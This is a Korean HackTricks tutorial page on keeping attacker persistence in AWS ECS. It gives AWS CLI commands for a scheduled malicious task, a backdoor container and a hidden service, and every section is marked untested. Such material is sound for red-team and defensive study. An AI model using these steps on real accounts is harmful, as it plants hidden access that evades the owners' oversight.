AWS - ECS Persistence

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

ECS

자세한 정보는 다음을 확인하세요:

pageAWS - ECS Enum

숨겨진 주기적 ECS 작업

TODO: 테스트

공격자는 Amazon EventBridge를 사용하여 악성 작업을 주기적으로 실행하기 위해 숨겨진 주기적 ECS 작업을 생성할 수 있습니다. 이 작업은 정찰, 데이터 유출 또는 AWS 계정에서의 지속성 유지를 수행할 수 있습니다.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

기존 ECS 작업 정의에 백도어 컨테이너 추가

TODO: 테스트

공격자는 기존의 ECS 작업 정의에 은밀한 백도어 컨테이너를 추가할 수 있습니다. 이 컨테이너는 합법적인 컨테이너와 함께 실행되며, 지속성 및 악의적인 활동을 수행하는 데 사용될 수 있습니다.

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

문서화되지 않은 ECS 서비스

TODO: 테스트

공격자는 악성 작업을 실행하는 문서화되지 않은 ECS 서비스를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화함으로써 관리자가 악성 서비스를 인지하기 어려워집니다.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新